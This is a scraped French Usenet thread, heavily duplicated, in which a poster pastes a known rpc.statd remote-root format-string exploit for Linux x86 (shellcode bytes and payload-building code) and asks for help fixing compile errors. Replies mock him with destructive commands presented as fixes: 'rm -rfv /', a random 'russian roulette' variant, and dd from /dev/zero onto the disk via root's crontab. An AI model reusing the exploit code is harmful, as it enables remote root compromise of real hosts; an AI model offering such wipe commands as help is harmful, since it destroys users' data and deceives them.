j ai ce code en c
j ai plein de warning pas grave
mais j ai des errors que je ne sans pas corrige pouvez vous m aider
gcc -o output_file -Wall output_file.c
/*
* rpc.statd remote root xploit for linux/x86
* based on the xploit made by drow for linux/PowerPC
*
* Author: Doing, 08/2000
*
* NOTE:
* The guest of the remote address of the saved EIP and local vars
* is still a problem. The value showed on the usage worked
* fine on mi suse with the compiled sources. With gdb and a little
* patience you should get the address for your distro/version.
* Some address doesn't work, because they cause a very long result,
* and the syslog() function overflows itself when parsing the
* format input :(
*
* Greetz to Pascal Bouchareine for that great paper on format bugs :)
*
* Y saludos a los canales #phreak y #hacker_novatos del IRC hispano :P
*
* Excuse my poor english :-)
*
*/
void usage(char *s) {
printf("rpc.statd xploit for linux/x86 - Doing <jdoing@bigfoot.com>\n");
printf("Usage: %s host address command\n", s);
printf("host\t: the targe host\n");
printf("address\t: the address of the buffer in function log()\n");
printf("command\t: command to run remotely\n\n");
printf("ej:%s 127.0.0.1 0xbffff3d4 \"/usr/X11R6/bin/xterm
-ut-display127.0.0.1:0\"\n\n", s);
printf("Enjoy!\n");
exit(0);
}
/*
shellcode without cr/lf and control caracters
*/
char *code =
"\xeb\x4b\x5e\x89\x76\xac\x83\xee\x20\x8d\x5e\x28\x83\xc6\x20\x89"
"\x5e\xb0\x83\xee\x20\x8d\x5e\x2e\x83\xc6\x20\x83\xc3\x20\x83\xeb"
"\x23\x89\x5e\xb4\x31\xc0\x83\xee\x20\x88\x46\x27\x88\x46\x2a\x83"
"\xc6\x20\x88\x46\xab\x89\x46\xb8\xb0\x2b\x2c\x20\x89\xf3\x8d\x4e"
"\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xb0\xff"
"\xff\xff/bin/sh -c ";
char shellcode[4096];
void make_shellcode(char *cdir, char *cmd)
{
unsigned long dir, ret;
int c, eat = 14;
int first_n = 0xc9;
char tmp[1024];
int i, i0, i1, i2;
char *ptr = shellcode;
memset(shellcode, 0, 4096);
sscanf(cdir, "%x", &dir);
ret = dir + 0xd0 - 20; /* put ret address into nop-space :) */
dir += 1028; /* dir = address of saved EIP = address of buffer +
1024 bytes of buffer + 4 bytes of SFP */
i = (ret & 0xff00) >> 8;
if (i > i0) sprintf(ptr, "%%0%ix%%n", i - i0);
if (i == i0) sprintf(ptr, "%%n");
if (i < i0) {
i |= 0x0100;
sprintf(ptr, "%%0%ix%%n", i - i0);
}
ptr = &shellcode[strlen(shellcode)];
le 19/01/2006 à 12:00, Harpo a écrit dans le message <43cf7151$0$20172$ :
Au fait, quand on fait 'rm -rfv /', ça s'arrête à quel moment ?
À la fin. J'ai fait une fois un « rm -fr tmp/ * » alors que j'étais root et dans « / » ; cet espace m'a coûté cher (en temps -- car comme tout le monde j'avais une sauvegarde toute fraîche ;-)). Depuis, sous root, je fais beaucoup plus attention avant d'appuyer sur la touche « Enter ».
newfs, mkfs ou format sont aussi très amusants et surtout bien plus rapides. ;-)
Pour un nettoyage en profondeur les grandes marques recommandent « dd ». À appliquer délicatement avec /dev/zero directement sur le disque sale, c'est plus long mais c'est vraiment efficace. On peut mettre ça dans la crontab de root pour avoir un nettoyage régulier (at(1) peut faire l'affaire).
-- Benoit Izac
Bonjour,
le 19/01/2006 à 12:00, Harpo a écrit
dans le message <43cf7151$0$20172$8fcfb975@news.wanadoo.fr> :
Au fait, quand on fait 'rm -rfv /', ça s'arrête à quel moment ?
À la fin. J'ai fait une fois un « rm -fr tmp/ * » alors que j'étais root
et dans « / » ; cet espace m'a coûté cher (en temps -- car comme tout le
monde j'avais une sauvegarde toute fraîche ;-)). Depuis, sous root, je
fais beaucoup plus attention avant d'appuyer sur la touche « Enter ».
newfs, mkfs ou format sont aussi très amusants et surtout bien plus
rapides. ;-)
Pour un nettoyage en profondeur les grandes marques recommandent
« dd ». À appliquer délicatement avec /dev/zero directement sur le
disque sale, c'est plus long mais c'est vraiment efficace. On peut
mettre ça dans la crontab de root pour avoir un nettoyage régulier
(at(1) peut faire l'affaire).
le 19/01/2006 à 12:00, Harpo a écrit dans le message <43cf7151$0$20172$ :
Au fait, quand on fait 'rm -rfv /', ça s'arrête à quel moment ?
À la fin. J'ai fait une fois un « rm -fr tmp/ * » alors que j'étais root et dans « / » ; cet espace m'a coûté cher (en temps -- car comme tout le monde j'avais une sauvegarde toute fraîche ;-)). Depuis, sous root, je fais beaucoup plus attention avant d'appuyer sur la touche « Enter ».
newfs, mkfs ou format sont aussi très amusants et surtout bien plus rapides. ;-)
Pour un nettoyage en profondeur les grandes marques recommandent « dd ». À appliquer délicatement avec /dev/zero directement sur le disque sale, c'est plus long mais c'est vraiment efficace. On peut mettre ça dans la crontab de root pour avoir un nettoyage régulier (at(1) peut faire l'affaire).
-- Benoit Izac
Aji
"Kybla" a écrit dans le message de news: newscache$g12cti$q8g$
R12y wrote:
john.swilting :
gcc -o output_file -Wall output_file.c
rm -rfv /
N'oublies pas le 'v', ça fait durer le plaisir...
Ou la variante suivante: [ $RANDOM % 2 ] == 0 ] && rm -rfv / || echo "You live"
J ai fait ce que vous indiquez (la premiere version, pas la seconde), mais que faut il faire ensuite ? Il ne se passe plus rien, et comme en plus mon ordinateur est bloqué, je n ai pas pu essayer la deuxieme solution. Quelle est la difference enre les deux solutions ? J ai l impression qu il y a un bug dans la premiere solution, non ?
John ?
"Kybla" <kybla92@hotmail.com> a écrit dans le message de news:
newscache$g12cti$q8g$1@nntp.alphacent.com...
R12y wrote:
john.swilting :
gcc -o output_file -Wall output_file.c
rm -rfv /
N'oublies pas le 'v', ça fait durer le plaisir...
Ou la variante suivante:
[ $RANDOM % 2 ] == 0 ] && rm -rfv / || echo "You live"
J ai fait ce que vous indiquez (la premiere version, pas la seconde), mais
que faut il faire ensuite ? Il ne se passe plus rien, et comme en plus mon
ordinateur est bloqué, je n ai pas pu essayer la deuxieme solution. Quelle
est la difference enre les deux solutions ? J ai l impression qu il y a un
bug dans la premiere solution, non ?
"Kybla" a écrit dans le message de news: newscache$g12cti$q8g$
R12y wrote:
john.swilting :
gcc -o output_file -Wall output_file.c
rm -rfv /
N'oublies pas le 'v', ça fait durer le plaisir...
Ou la variante suivante: [ $RANDOM % 2 ] == 0 ] && rm -rfv / || echo "You live"
J ai fait ce que vous indiquez (la premiere version, pas la seconde), mais que faut il faire ensuite ? Il ne se passe plus rien, et comme en plus mon ordinateur est bloqué, je n ai pas pu essayer la deuxieme solution. Quelle est la difference enre les deux solutions ? J ai l impression qu il y a un bug dans la premiere solution, non ?
John ?
Anthony Fleury
J ai fait ce que vous indiquez (la premiere version, pas la seconde), mais que faut il faire ensuite ? Il ne se passe plus rien, et comme en plus mon ordinateur est bloqué, je n ai pas pu essayer la deuxieme solution.
Si c'est vrai, mes condoléances pour les données qui étaient sur le disque. Je n'y crois pas vraiment, mais on va répondre quand même...
Quelle est la difference enre les deux solutions ? J ai l impression qu il y a un bug dans la premiere solution, non ?
C'est en effet un leger petit bug dans la ligne écrite par R12y qui fait que la commande qu'il a donné formatte toutes les partitions montées au moment de l'execution de la commande [faut qu'elle soit faite en root pour des problèmes de droit d'écriture dans certains répertoires -- c'est mal fait linux avec ces conneries de droit on peut même pas faire des conneries en paix].
Par contre, la seconde n'execute cette commande que si un nombre tiré aléatoirement est impaire.
-- Anthony Fleury
J ai fait ce que vous indiquez (la premiere version, pas la seconde), mais
que faut il faire ensuite ? Il ne se passe plus rien, et comme en plus mon
ordinateur est bloqué, je n ai pas pu essayer la deuxieme solution.
Si c'est vrai, mes condoléances pour les données qui étaient sur le
disque. Je n'y crois pas vraiment, mais on va répondre quand même...
Quelle est la difference enre les deux solutions ? J ai l impression qu il y a un
bug dans la premiere solution, non ?
C'est en effet un leger petit bug dans la ligne écrite par R12y qui fait
que la commande qu'il a donné formatte toutes les partitions montées au
moment de l'execution de la commande [faut qu'elle soit faite en root
pour des problèmes de droit d'écriture dans certains répertoires --
c'est mal fait linux avec ces conneries de droit on peut même pas faire
des conneries en paix].
Par contre, la seconde n'execute cette commande que si un nombre tiré
aléatoirement est impaire.
J ai fait ce que vous indiquez (la premiere version, pas la seconde), mais que faut il faire ensuite ? Il ne se passe plus rien, et comme en plus mon ordinateur est bloqué, je n ai pas pu essayer la deuxieme solution.
Si c'est vrai, mes condoléances pour les données qui étaient sur le disque. Je n'y crois pas vraiment, mais on va répondre quand même...
Quelle est la difference enre les deux solutions ? J ai l impression qu il y a un bug dans la premiere solution, non ?
C'est en effet un leger petit bug dans la ligne écrite par R12y qui fait que la commande qu'il a donné formatte toutes les partitions montées au moment de l'execution de la commande [faut qu'elle soit faite en root pour des problèmes de droit d'écriture dans certains répertoires -- c'est mal fait linux avec ces conneries de droit on peut même pas faire des conneries en paix].
Par contre, la seconde n'execute cette commande que si un nombre tiré aléatoirement est impaire.
-- Anthony Fleury
Kybla
Ou la variante suivante: [ $RANDOM % 2 ] == 0 ] && rm -rfv / || echo "You live"
j'aime bien cette version !-)
C'est la roulette russe avec un barillet à 2 balles.
Au fait, quand on fait 'rm -rfv /', ça s'arrête à quel moment ?
Certainement au moment où l'on arrive au répertoire /usr/bin là où se trouve la commande 'rm'.
Ou la variante suivante:
[ $RANDOM % 2 ] == 0 ] && rm -rfv / || echo "You live"
j'aime bien cette version !-)
C'est la roulette russe avec un barillet à 2 balles.
Au fait, quand on fait 'rm -rfv /', ça s'arrête à quel moment ?
Certainement au moment où l'on arrive au répertoire /usr/bin là où se
trouve la commande 'rm'.
le 19/01/2006 à 14:11, Kybla a écrit dans le message <newscache$lhccti$lfg$ :
Au fait, quand on fait 'rm -rfv /', ça s'arrête à quel moment ?
Certainement au moment où l'on arrive au répertoire /usr/bin là où se trouve la commande 'rm'.
Non. rm est en mémoire une fois lancé, il n'a plus besoin du fichier /bin/rm pour s'exécuter :
% touch a b x y; cp /bin/rm .; ls a b rm x y % ./rm -fr a b rm x y; ls %
-- Benoit Izac
Kybla
Kybla wrote:
R12y wrote:
john.swilting :
gcc -o output_file -Wall output_file.c
rm -rfv /
N'oublies pas le 'v', ça fait durer le plaisir...
Ou la variante suivante: [ $RANDOM % 2 ] == 0 ] && rm -rfv / || echo "You live"
Je n'avais pas vérifié la syntaxe, il y avait une petite erreur... Cette version marche bien mieu: [ $[$RANDOM % 2] == 0 ] && rm -rfv / || echo "You live"
Kybla wrote:
R12y wrote:
john.swilting :
gcc -o output_file -Wall output_file.c
rm -rfv /
N'oublies pas le 'v', ça fait durer le plaisir...
Ou la variante suivante:
[ $RANDOM % 2 ] == 0 ] && rm -rfv / || echo "You live"
Je n'avais pas vérifié la syntaxe, il y avait une petite erreur...
Cette version marche bien mieu:
[ $[$RANDOM % 2] == 0 ] && rm -rfv / || echo "You live"
Ou la variante suivante: [ $RANDOM % 2 ] == 0 ] && rm -rfv / || echo "You live"
Je n'avais pas vérifié la syntaxe, il y avait une petite erreur... Cette version marche bien mieu: [ $[$RANDOM % 2] == 0 ] && rm -rfv / || echo "You live"
Kybla
Bah non ! On peut très bien faire un rm `which rm` sans que ca ne pose problème (sous reserve d'avoir les droits d'écriture nécessaires).
Oui, mais si nous n'avons plus de "rm" nous ne pourrons plus continuer à effacer les fichiers suivants.
Bah non !
On peut très bien faire un rm `which rm` sans que ca ne pose problème
(sous reserve d'avoir les droits d'écriture nécessaires).
Oui, mais si nous n'avons plus de "rm" nous ne pourrons plus continuer à
effacer les fichiers suivants.
Bah non ! On peut très bien faire un rm `which rm` sans que ca ne pose problème (sous reserve d'avoir les droits d'écriture nécessaires).
Oui, mais si nous n'avons plus de "rm" nous ne pourrons plus continuer à effacer les fichiers suivants.
Anthony Fleury
Bah non ! On peut très bien faire un rm `which rm` sans que ca ne pose problème (sous reserve d'avoir les droits d'écriture nécessaires).
Oui, mais si nous n'avons plus de "rm" nous ne pourrons plus continuer à effacer les fichiers suivants.
<totalement super hs>
Ohla, attention, il n'est pas démarré (à ma connaissance) une instance de rm à chaque fichier à effacer. rm prend comme paramètre (avec l'option -r) un nom de dossier, et cette instance seule va s'occuper d'effacer les fichiers demandés. Ca serait terriblement peu efficace de décharger/recharger rm à chaque fichier.
Attention, je parle bien sûr d'une execution de rm comme celle donnée au dessus, sans xargs ou autre. Sur un rm -rf /, rm a deux arguments : '-rf' qu'il va interprêter comme j'efface un dossier et je demande pas l'avis de l'utilisateur, et '/' interprêté comme le dossier à vider avec tout ces sous dossiers. À partir de là, cette instance de rm va faire le ménage.
</totalement super hs>
-- Anthony Fleury
Bah non !
On peut très bien faire un rm `which rm` sans que ca ne pose problème
(sous reserve d'avoir les droits d'écriture nécessaires).
Oui, mais si nous n'avons plus de "rm" nous ne pourrons plus continuer à
effacer les fichiers suivants.
<totalement super hs>
Ohla, attention, il n'est pas démarré (à ma connaissance) une instance
de rm à chaque fichier à effacer. rm prend comme paramètre (avec
l'option -r) un nom de dossier, et cette instance seule va s'occuper
d'effacer les fichiers demandés. Ca serait terriblement peu efficace de
décharger/recharger rm à chaque fichier.
Attention, je parle bien sûr d'une execution de rm comme celle donnée au
dessus, sans xargs ou autre. Sur un rm -rf /, rm a deux arguments :
'-rf' qu'il va interprêter comme j'efface un dossier et je demande pas
l'avis de l'utilisateur, et '/' interprêté comme le dossier à vider avec
tout ces sous dossiers. À partir de là, cette instance de rm va faire le
ménage.
Bah non ! On peut très bien faire un rm `which rm` sans que ca ne pose problème (sous reserve d'avoir les droits d'écriture nécessaires).
Oui, mais si nous n'avons plus de "rm" nous ne pourrons plus continuer à effacer les fichiers suivants.
<totalement super hs>
Ohla, attention, il n'est pas démarré (à ma connaissance) une instance de rm à chaque fichier à effacer. rm prend comme paramètre (avec l'option -r) un nom de dossier, et cette instance seule va s'occuper d'effacer les fichiers demandés. Ca serait terriblement peu efficace de décharger/recharger rm à chaque fichier.
Attention, je parle bien sûr d'une execution de rm comme celle donnée au dessus, sans xargs ou autre. Sur un rm -rf /, rm a deux arguments : '-rf' qu'il va interprêter comme j'efface un dossier et je demande pas l'avis de l'utilisateur, et '/' interprêté comme le dossier à vider avec tout ces sous dossiers. À partir de là, cette instance de rm va faire le ménage.
</totalement super hs>
-- Anthony Fleury
Kybla
<totalement super hs>
Ohla, attention, il n'est pas démarré (à ma connaissance) une instance de rm à chaque fichier à effacer. rm prend comme paramètre (avec l'option -r) un nom de dossier, et cette instance seule va s'occuper d'effacer les fichiers demandés. Ca serait terriblement peu efficace de décharger/recharger rm à chaque fichier.
Attention, je parle bien sûr d'une execution de rm comme celle donnée au dessus, sans xargs ou autre. Sur un rm -rf /, rm a deux arguments : '-rf' qu'il va interprêter comme j'efface un dossier et je demande pas l'avis de l'utilisateur, et '/' interprêté comme le dossier à vider avec tout ces sous dossiers. À partir de là, cette instance de rm va faire le ménage.
</totalement super hs>
Je viens de faire un test et tu as raison: une seule et unique instance de 'rm' efface l'ensemble des fichiers. C'est vrai que décharger/recharger rm à chaque itération ne serait vraiment pas efficace, je n'ai pas beaucoup réfléchis sur ce coup ci.
Désolé pour ce HS.
<totalement super hs>
Ohla, attention, il n'est pas démarré (à ma connaissance) une instance
de rm à chaque fichier à effacer. rm prend comme paramètre (avec
l'option -r) un nom de dossier, et cette instance seule va s'occuper
d'effacer les fichiers demandés. Ca serait terriblement peu efficace de
décharger/recharger rm à chaque fichier.
Attention, je parle bien sûr d'une execution de rm comme celle donnée au
dessus, sans xargs ou autre. Sur un rm -rf /, rm a deux arguments :
'-rf' qu'il va interprêter comme j'efface un dossier et je demande pas
l'avis de l'utilisateur, et '/' interprêté comme le dossier à vider avec
tout ces sous dossiers. À partir de là, cette instance de rm va faire le
ménage.
</totalement super hs>
Je viens de faire un test et tu as raison: une seule et unique instance
de 'rm' efface l'ensemble des fichiers.
C'est vrai que décharger/recharger rm à chaque itération ne serait
vraiment pas efficace, je n'ai pas beaucoup réfléchis sur ce coup ci.
Ohla, attention, il n'est pas démarré (à ma connaissance) une instance de rm à chaque fichier à effacer. rm prend comme paramètre (avec l'option -r) un nom de dossier, et cette instance seule va s'occuper d'effacer les fichiers demandés. Ca serait terriblement peu efficace de décharger/recharger rm à chaque fichier.
Attention, je parle bien sûr d'une execution de rm comme celle donnée au dessus, sans xargs ou autre. Sur un rm -rf /, rm a deux arguments : '-rf' qu'il va interprêter comme j'efface un dossier et je demande pas l'avis de l'utilisateur, et '/' interprêté comme le dossier à vider avec tout ces sous dossiers. À partir de là, cette instance de rm va faire le ménage.
</totalement super hs>
Je viens de faire un test et tu as raison: une seule et unique instance de 'rm' efface l'ensemble des fichiers. C'est vrai que décharger/recharger rm à chaque itération ne serait vraiment pas efficace, je n'ai pas beaucoup réfléchis sur ce coup ci.